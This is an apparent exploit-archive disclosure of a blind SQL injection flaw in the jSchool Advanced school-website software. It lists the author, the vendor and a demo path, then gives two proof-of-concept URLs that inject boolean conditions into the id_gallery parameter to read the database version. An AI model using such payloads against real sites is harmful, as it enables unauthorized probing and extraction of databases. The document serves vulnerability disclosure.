jSchool Advanced Blind SQL Injection Vulnerability

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School Advanced (Blind SQL Injection) Vulnerability
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Author : Don Tukulesto (root@indonesiancoder.com)
Site : http://indonesiancoder.com
Vendor : http://jogjacamp.com
Software : jSchool Advanced (http://www.jogjacamp.com/script_4_Script_Website_Murah_Instant_Sekolah.html)
Price : Rp. 1.200.000
GMT +07:00 November 21, 2010
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I. Demo Site
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http://server/index.php?action=gallery.list&id_gallery=5

II. POC
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http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=5 # TRUE
http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=4 # FALSE